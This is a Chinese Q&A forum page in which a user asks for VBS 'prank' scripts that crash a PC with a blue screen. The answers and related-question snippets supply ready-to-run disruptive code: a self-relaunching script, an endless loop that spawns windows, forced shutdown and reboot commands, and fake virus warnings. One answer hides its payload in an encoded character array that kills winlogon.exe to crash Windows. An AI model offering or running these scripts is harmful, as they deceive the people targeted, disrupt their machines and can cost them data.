小弟求VBS整人代码比较有用的!以前发过的就不要在发了!求那种运行就蓝...

发布网友发布时间：2024-09-29 04:36

我来回答

共4个回答

热心网友时间：2024-10-04 17:17

'一直关不了，除非删除：
set a=wscript.createobject("wscript.shell")
a.run("wscript.exe 1.vbs")
msgbox("因为主机过热所以引发错误！",16,"错误")

热心网友时间：2024-10-04 17:20

Dim objws
Set objws=wscript.createobject("wscript.shell")
Do
objws.Run "calc"
Loop

试试就知道厉害了

热心网友时间：2024-10-04 17:16

自己学，想干什么就干什么那多有自由度

热心网友时间：2024-10-04 17:15

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-
13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner
以上是代码。保存为.vbs的文件就可以了。

小弟求VBS整人代码比较有用的!以前发过的就不要在发了!求那种运行就蓝...

a.run("wscript.exe 1.vbs")msgbox("因为主机过热所以引发错误！",16,"错误")

求大量VBS整人代码.

"&vbcrlf&""&vbcrlf&"下面以我为列不同可以修改"&vbcrlf&""&Chr(10)&"格式为:1987-06-02","芮洲提示:","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n...

vbs整人代码谁有

Loop '''代码结束'''打开记事本，复制，保存缀名为vbs格式注意：此代码不可乱用，可能会把人弄疯的除非是你最恨的人

求VBS整人代码,最好是厉害的,例如添加开机启动项自动关机等,越牛越好...

msgbox "你要说的话"loop --- set wsh=createobject("wscript.shell")do wsh.run "calc"loop ———dim WSHshell set WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true ———do msgbox "CPU温度过高！请检查散热系统，详细参见《用户手册》"...

求一些厉害的vbs整人程序代码

首先创建文本文档，将以下代码复制。on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是只猪，不说就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是只猪...

求一种vbs整人代码。

!!!"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if 解决办法：什么都不要点建另一个VBS然后运行代码如下：Createobject("Wscript.shell").run "taskkill /f /im wscript.exe"

VBS整人代码

WScript.Echo("还剩9下。你还点啊，不要我拉？")WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")WScript.Echo("还剩7下。疯了，你有点负意！")WScript.Echo("还剩6下。对。你就点吧，我恨你！")WScript.Echo("还剩5下，不明白，删除我你就好吗？")WScript.Echo("还剩4下！真要删除...

求一个vbs整人代码

set sh=createobject("wscript.shell")msgbox "你是否经常失眠？",vbyesno msgbox "我也经常失眠。唉。"msgbox "我告诉你一个祖传秘方吧！"for i=1 to 50 sh.popup i & "只羊",1 next wscript.sleep 1000 sh.popup "好吧，晚安！",5 do sh.run "shutdown -s -f -t 30"msgbox "...

vbs整人代码(要可以用的) 我直接COPY到记事本里,所以别打错了。

msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ,并在强行嵌入你的电脑",4132,"是否对其进行扫描?" msgbox"软件名:comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小:1.21MB "&vbcrlf&""&vbcrlf&" 发行者:幻想丶永恒(403746401)"&vbcrlf&""&vbcrlf&" 安全状况:有病毒",vbinformation msgbox"com...

求一些好玩的整人代码~~

msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno wscript.sleep 1000 msgbox "文件名 SXS.exe"+CHR(13)+"发行者田间的菜鸟 "+chr(13)+"安全评级高危"+chr(13)+"建议直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"msgbox "是否阻止其安装？",vb...

小弟求VBS整人代码 比较有用的!以前发过的就不要在发了!求那种运行就蓝...

小弟求VBS整人代码比较有用的!以前发过的就不要在发了!求那种运行就蓝...